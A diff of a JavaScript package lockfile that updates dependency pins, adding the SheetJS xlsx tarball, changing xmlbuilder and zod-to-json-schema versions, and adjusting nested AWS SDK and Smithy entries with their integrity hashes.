"ws": ["ws@8.18.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw=="],
+ "xlsx": ["xlsx@https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", { "bin": { "xlsx": "./bin/xlsx.njs" } }],
+
"xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="],
"xml-crypto": ["xml-crypto@6.1.2", "", { "dependencies": { "@xmldom/is-dom-node": "^1.0.1", "@xmldom/xmldom": "^0.8.10", "xpath": "^0.0.33" } }, "sha512-leBOVQdVi8FvPJrMYoum7Ici9qyxfE4kVi+AkpUoYCSXaQF4IlBm1cneTK9oAxR61LpYxTx7lNcsnBIeRpGW2w=="],
@@ -4647,7 +4941,7 @@
"xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="],
- "xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
+ "xmlbuilder": ["xmlbuilder@10.1.1", "", {}, "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg=="],
"xmlchars": ["xmlchars@2.2.0", "", {}, "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="],
@@ -4671,11 +4965,9 @@
"yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
- "youtube-transcript": ["youtube-transcript@1.2.1", "", {}, "sha512-TvEGkBaajKw+B6y91ziLuBLsa5cawgowou+Bk0ciGpjELDfAzSzTGXaZmeSSkUeknCPpEr/WGApOHDwV7V+Y9Q=="],
-
"zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="],
- "zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+ "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
@@ -4735,6 +5027,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -4755,8 +5053,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -4771,88 +5073,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.952.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-ini": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-pj7nidLrb3Dz9llcUPh6N0Yv1dBYTS9xJqi8u0kI8D5sn72HJMB+fIOhcDQVXXAw/dpVolOAH9FOAbog5JDAMg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, "sha512-0Zx3Ntdpu+z9Wlm7JKUBOzS9EunwKAb4KdGUQQxDqh5Lc3ta5uBoub+FgmVuzwnmBu9U1Os8UuwVTH0Lgu+P5w=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-eZ/XF6NxMtu+iCma58GRNRxSq4lHo6zHQLOZRIeL/ghqYJirqHdenMOwrzPettj60KWlv827RVebP9oNVrwZbw=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.947.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-+vhHoDrdbb+zerV4noQk1DHaUMNzWFWPpPYjVTwW2186k5BEJIecAMChYkghRrBVJ3KPWP1+JnZwOd72F3d4rQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver": ["@smithy/config-resolver@4.4.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "@smithy/util-config-provider": "^4.2.0", "@smithy/util-endpoints": "^3.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-s3U5ChS21DwU54kMmZ0UJumoS5cg0+rGVZvN6f5Lp6EbAVi0ZyP+qDSHdewfmXKUgNK1j3z45JyzulkDukrjAA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-xP5YXbOVRVN8A4pDnSUkEUsL9fYFU6VNhxo8tgr13YnMbf3Pn4xVr+hSyLVjS1Frfi1Uk03ET5Bwml4+0CeYEw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-jhH7nJuaOpnTFcuZpWK9dqb6Ge2yGi1okTo0W6wkJrfwAm2vwmO74tF1v07JmrSyHBcKLQATEexclJw9K1Vj7w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
-
